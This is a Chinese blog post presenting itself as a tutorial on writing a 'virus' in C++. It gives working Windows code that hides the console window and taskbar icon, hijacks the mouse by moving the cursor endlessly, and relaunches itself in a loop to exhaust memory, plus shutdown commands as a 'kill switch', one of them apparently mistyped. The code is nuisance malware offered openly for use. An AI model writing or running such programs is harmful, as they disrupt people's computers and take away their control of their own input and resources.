目录
前言
1.隐藏控制台 ⭐️
2.隐藏图标,锁定鼠标⭐️⭐️
3.抢内存⭐️⭐️⭐️
4.解包⭐️⭐️⭐️⭐️⭐️
1.程序运行到一定时间时调用命令行关闭程序
2.按下组合键时关闭程序
3.直接关机(简单粗暴)
最后
前言
最近有个朋友问我可不可以用c++做个病毒,就是比较强力的那种 也要做解包
具体病毒内容:
1.隐藏控制台(⭐️)
2.隐藏图标,锁定鼠标(⭐️⭐️)
3.抢内存(⭐️⭐️⭐️)
4.解包(⭐️⭐️⭐️⭐️⭐️)
5.加入开机文件(我不打算做,有虚拟机的可以试试,太狠了)
五角星的数量是我自己认为的难度
想找人帮忙做一下解包
有知道怎么做的请私信我 要有c++基础的
1.隐藏控制台 ⭐️
这个就很简单
几行代码就可以
#include<windows.h>
int main()
{
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE);
}
return 0;
}
2.隐藏图标,锁定鼠标⭐️⭐️
隐藏图标也简单
#include<iostream>
#include<Windows.h>
using namespace std;
int main()
{
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
}
锁定鼠标也简单
#include<iostream>
#include<windows.h>
int main()
{
srand (time(0));
int x,y;
while(1)
{
x=rand()%1000+300; //x坐标的范围,可以换
y=rand()%600+300; //y坐标的范围,可以换
SetCursorPos(x,y); //x,y可以换成两个固定的值 即可改成鼠标锁定
}
return 0;
}
3.抢内存⭐️⭐️⭐️
这个稍微有点难度,难度在哪呢?
重点在用什么方式
目前
我想到了一种简单的方法
就是获取当前文件的完整路径
然后用system不停的打开这个文件
这样刷内存
代码很简单
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<Windows.h>
using namespace std;
int main()
{
char s[100] = "start ";
system(strcat(s, _pgmptr));
}
如果你也有办法,请私信我
4.解包⭐️⭐️⭐️⭐️⭐️
可以看到我标了五颗五角星,所以这是重难点
其实也谈不上难
现在有几种方法
1.程序运行到一定时间时调用命令行关闭程序
这种方法是最简单的,就一行代码
system("shutdown -1");
2.按下组合键时关闭程序
这种方法就是判断键盘有没有按下组合键,如果按下了,就用system关闭程序
3.直接关机(简单粗暴)
因为我不把程序加入开机文件,所以我直接关机,再开机的时候就没了,代码我就不放了,很简单,就一行
但我还是觉得这些方法不够优雅😯
暂时先这样
最后
如果你有建议或想法💡,请私信我
结束!
更多推荐
c++做病毒|教程&&代码
发布评论